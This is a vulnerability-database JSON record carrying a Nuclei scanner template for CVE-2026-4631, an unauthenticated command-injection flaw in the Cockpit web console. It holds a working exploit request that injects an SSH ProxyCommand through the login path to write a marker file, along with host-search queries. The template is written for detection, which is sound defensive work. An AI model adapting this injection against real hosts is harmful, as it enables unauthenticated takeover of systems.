{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-4631/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-4631/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-4631/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-4631/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-4631/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-4631"},"sightings":{"href":"/api/v1/sightings/cve-2026-4631"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-4631.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-4631\n\ninfo:\n  name: Cockpit Web Console < 360 - Remote Code Execution\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability.\n  impact: |\n    Attackers can execute arbitrary code on the Cockpit host without valid credentials, leading to full system compromise.\n  remediation: Update to the latest version with input validation and sanitization for SSH parameters.\n  reference:\n    - https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427\n    - https://github.com/cockpit-project/cockpit/commit/9d0695647\n    - https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-4631\n    epss-score: 0.1548\n    epss-percentile: 0.96647\n    cwe-id: CWE-78\n    cpe: cpe:2.3:a:cockpit-project:cockpit:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: cockpit-project\n    product: cockpit\n    shodan-query: title:\"Cockpit\"\n    fofa-query: title=\"Cockpit\"\n  tags: cve,cve2026,cockpit,rce,unauthenticated,vkev\n\nflow: http(1) && http(2)\n\nvariables:\n  filename: \"{{to_lower(rand_text_alpha(5))}}\"\n\nhttp:\n  - raw:\n      - |\n        GET /cockpit+=-oProxyCommand=echo%20CVE-2026-4631%20%3E%20%2Fusr%2Fshare%2Fcockpit%2Fstatic%2F{{filename}}.txt%20%23/login HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Basic Og==\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 401'\n          - 'contains(body, \"authentication-failed\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /cockpit/static/{{filename}}.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"CVE-2026-4631\")'\n        condition: and\n# digest: 4a0a00473045022053455c2436c71b07097ee4f77da97f52b16f5481390ee89ccfb922335373c89b0221008f15c421a23f33b69eda894823b92937a14391c5701b8419d69b1672e80ef737:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-4631"}